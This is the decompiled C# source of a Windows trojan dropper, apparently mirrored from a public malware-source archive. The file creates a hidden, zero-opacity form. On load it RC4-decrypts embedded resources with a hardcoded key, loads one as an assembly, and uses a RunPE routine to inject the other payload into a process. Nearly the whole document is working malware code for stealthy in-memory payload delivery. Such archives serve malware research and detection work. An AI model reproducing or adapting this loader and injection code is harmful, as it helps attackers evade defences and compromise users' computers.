mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
147 lines
4.5 KiB
C#
147 lines
4.5 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: WindowsApplication1.a
|
|||
|
// Assembly: Java Windows Environment, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 097830FC-95C1-47F2-9E79-8207C0E28B1C
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.dmsv-fde9e07062bacdce7fa9d31f039f393916e1be165ce49510d41be6dfd2b59512.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.Collections.Generic;
|
|||
|
using System.ComponentModel;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Drawing;
|
|||
|
using System.Reflection;
|
|||
|
using System.Runtime.CompilerServices;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace WindowsApplication1
|
|||
|
{
|
|||
|
[DesignerGenerated]
|
|||
|
public class a : Form
|
|||
|
{
|
|||
|
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
|||
|
private IContainer components;
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
static a()
|
|||
|
{
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
public a()
|
|||
|
{
|
|||
|
this.Load += new EventHandler(this.Form1_Load);
|
|||
|
lock (a.__ENCList)
|
|||
|
a.__ENCList.Add(new WeakReference((object) this));
|
|||
|
this.InitializeComponent();
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
protected override void Dispose(bool disposing)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if (!disposing || this.components == null)
|
|||
|
return;
|
|||
|
this.components.Dispose();
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
base.Dispose(disposing);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerStepThrough]
|
|||
|
private void InitializeComponent()
|
|||
|
{
|
|||
|
this.SuspendLayout();
|
|||
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|||
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|||
|
this.ClientSize = new Size(10, 10);
|
|||
|
this.FormBorderStyle = FormBorderStyle.None;
|
|||
|
this.Name = nameof (a);
|
|||
|
this.Opacity = 0.0;
|
|||
|
this.ShowIcon = false;
|
|||
|
this.ShowInTaskbar = false;
|
|||
|
this.Text = "Form1";
|
|||
|
this.WindowState = FormWindowState.Minimized;
|
|||
|
this.ResumeLayout(false);
|
|||
|
}
|
|||
|
|
|||
|
private void Form1_Load(object sender, EventArgs e)
|
|||
|
{
|
|||
|
byte[] vietatoManipolare = WindowsApplication1.My.Resources.Resources.vietatoManipolare;
|
|||
|
MethodInfo method = Assembly.Load((byte[]) this.dec(ref vietatoManipolare)).GetType("Private_runpe.RunPE").GetMethod("njc");
|
|||
|
object[] objArray1 = new object[8];
|
|||
|
object[] objArray2 = objArray1;
|
|||
|
byte[] cambiami = WindowsApplication1.My.Resources.Resources.cambiami;
|
|||
|
object objectValue = RuntimeHelpers.GetObjectValue(this.dec(ref cambiami));
|
|||
|
objArray2[0] = objectValue;
|
|||
|
objArray1[1] = (object) true;
|
|||
|
objArray1[2] = (object) false;
|
|||
|
objArray1[3] = (object) true;
|
|||
|
objArray1[4] = (object) Application.ExecutablePath;
|
|||
|
objArray1[5] = (object) true;
|
|||
|
objArray1[6] = (object) false;
|
|||
|
objArray1[7] = (object) "";
|
|||
|
object[] parameters = objArray1;
|
|||
|
RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(method.Invoke((object) null, parameters)));
|
|||
|
ProjectData.EndApp();
|
|||
|
}
|
|||
|
|
|||
|
public object dec(ref byte[] ÁÄÁ)
|
|||
|
{
|
|||
|
byte[] numArray1 = new byte[8]
|
|||
|
{
|
|||
|
(byte) 1,
|
|||
|
(byte) 2,
|
|||
|
(byte) 3,
|
|||
|
(byte) 4,
|
|||
|
(byte) 5,
|
|||
|
(byte) 6,
|
|||
|
(byte) 7,
|
|||
|
(byte) 8
|
|||
|
};
|
|||
|
byte[] numArray2 = new byte[256];
|
|||
|
byte[] numArray3 = new byte[256];
|
|||
|
int length1 = ÁÄÁ.GetLength(0);
|
|||
|
int length2 = numArray1.GetLength(0);
|
|||
|
int index1 = 0;
|
|||
|
do
|
|||
|
{
|
|||
|
numArray2[index1] = checked ((byte) index1);
|
|||
|
numArray3[index1] = numArray1[index1 % length2];
|
|||
|
checked { ++index1; }
|
|||
|
}
|
|||
|
while (index1 <= (int) byte.MaxValue);
|
|||
|
int index2 = 0;
|
|||
|
int index3 = 0;
|
|||
|
do
|
|||
|
{
|
|||
|
index2 = checked (index2 + (int) numArray2[index3] + (int) numArray3[index3]) % 256;
|
|||
|
byte num = numArray2[index3];
|
|||
|
numArray2[index3] = numArray2[index2];
|
|||
|
numArray2[index2] = num;
|
|||
|
checked { ++index3; }
|
|||
|
}
|
|||
|
while (index3 <= (int) byte.MaxValue);
|
|||
|
int index4 = 0;
|
|||
|
int index5 = index4;
|
|||
|
int num1 = checked (length1 - 1);
|
|||
|
int index6 = 0;
|
|||
|
while (index6 <= num1)
|
|||
|
{
|
|||
|
index5 = checked (index5 + 1) % 256;
|
|||
|
index4 = checked (index4 + (int) numArray2[index5]) % 256;
|
|||
|
byte num2 = numArray2[index5];
|
|||
|
numArray2[index5] = numArray2[index4];
|
|||
|
numArray2[index4] = num2;
|
|||
|
int index7 = checked ((int) numArray2[index5] + (int) numArray2[index4]) % 256;
|
|||
|
ÁÄÁ[index6] = (byte) ((int) ÁÄÁ[index6] ^ (int) numArray2[index7]);
|
|||
|
checked { ++index6; }
|
|||
|
}
|
|||
|
return (object) ÁÄÁ;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|